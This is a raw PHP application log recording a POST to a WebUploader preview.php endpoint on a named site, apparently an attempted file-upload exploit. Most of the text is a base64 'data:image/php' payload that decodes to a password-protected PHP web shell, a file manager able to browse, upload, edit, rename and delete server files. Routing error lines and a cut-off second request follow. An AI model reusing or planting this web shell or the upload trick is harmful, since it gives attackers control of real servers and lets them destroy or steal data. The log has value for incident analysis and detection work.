'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:06+08:00 ] 119.42.146.234 POST 51tianwei.com/static/webuploader/0.1.5/server/preview.php [运行时间:0.002733s] [吞吐率:365.90req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 